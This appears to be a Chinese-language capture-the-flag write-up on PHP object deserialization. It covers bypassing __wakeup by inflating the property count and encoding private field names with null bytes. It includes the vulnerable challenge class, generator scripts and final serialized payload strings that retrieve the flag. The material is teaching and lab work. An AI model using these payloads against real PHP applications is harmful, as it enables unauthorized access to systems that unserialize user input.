反序列化漏洞private

<?php
include 'flag.php';


error_reporting(0);


class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();


        }
    }
}
?>
    //通过/?select=xxxx来传参

根据代码，我们发现要想获取flag，只需username=admin password=100然后我们再执行__destruct()时可以获得flag

 于是我们将参数值给select，但是在反序列化的时候会首先执行__wakeup()魔法方法，这个方法会把我们的username重新赋值，所以我们考虑如何跳过__wakeup()，而去执行__destruct

在反序列化时，当前属性个数大于实际属性个数时，就会跳过__wakeup()

脚本：

<?php
class Name{
    private $username='admin';
    private $password=100;
    }
$a=new Name();
$b=serialize($a);
echo $b;
?>  

//运行得到O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;} 

但要跳过__wakeup()方法，所以改为O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

属性权限	序列化格式
public	直接写属性名
protected	%00*%00属性名
private	%00类名%00属性名

接着我们发现，username和password为private声明的变量。因为username和password是私有变量，变量中的类名前后会有空白符，而复制的时候会丢失，所以要加上%00或者\00因此私有字段的字段名在序列化的时候，类名和字段名前面都会加上\0的前缀。字符串长度也包括所加前缀的长度

所以最终的payload为：%00

O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

或者\00

O:4:"Name":3:{s:14:"\00Name\00username";s:5:"admin";s:14:"\00Name\00password";i:100;}

别人的脚本：

<?php

class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

}
$a = new Name('admin',100);  //有__contruct($a,$b)，可以直接传参

var_dump(serialize($a))

?>